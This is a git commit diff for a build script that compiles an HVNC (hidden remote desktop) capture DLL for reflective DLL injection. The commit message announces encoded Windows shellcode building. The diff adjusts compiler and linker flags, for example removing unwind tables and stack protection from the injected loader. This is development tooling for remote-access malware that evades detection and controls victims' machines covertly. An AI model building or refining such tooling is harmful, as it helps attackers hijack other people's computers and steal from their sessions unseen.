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fix reflective injection 0xc5 errors (c5 reference) and then add sgn and windows shellcode building.

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KingKDot
2026-05-17 13:11:21 -05:00
parent f53b1cf2c8
commit c499b76227
12 changed files with 412 additions and 20 deletions
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build-hvnc-capture-dll.sh
+10 -11
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@@ -188,7 +188,6 @@ CXXFLAGS="$CXXFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CXXFLAGS="$CXXFLAGS -fno-stack-protector"
CXXFLAGS="$CXXFLAGS -fno-asynchronous-unwind-tables"
CXXFLAGS="$CXXFLAGS -fno-exceptions -fno-rtti"
CXXFLAGS="$CXXFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
@@ -196,19 +195,20 @@ if [ -n "${MINHOOK_INC:-}" ]; then
fi
# C flags for ReflectiveLoader (pure C, no C++)
CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
CFLAGS="$CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CFLAGS="$CFLAGS -fno-stack-protector"
CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
CFLAGS="$CFLAGS -I$SRC_DIR"
# Keep -fno-asynchronous-unwind-tables only for the loader shellcode
LOADER_CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
LOADER_CFLAGS="$LOADER_CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
LOADER_CFLAGS="$LOADER_CFLAGS -fno-stack-protector"
LOADER_CFLAGS="$LOADER_CFLAGS -fno-asynchronous-unwind-tables"
LOADER_CFLAGS="$LOADER_CFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
CFLAGS="$CFLAGS $MINHOOK_INC"
LOADER_CFLAGS="$LOADER_CFLAGS $MINHOOK_INC"
fi
echo "Compiling ReflectiveLoader.c ..."
"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
echo "Compiling ReflectiveDll.c (C++) ..."
"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
@@ -228,7 +228,6 @@ fi
"$CXX" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
-Wl,--entry,DllMain \
-Wl,--no-seh \
-Wl,--disable-runtime-pseudo-reloc \
-fno-stack-protector \
-fno-exceptions -fno-rtti \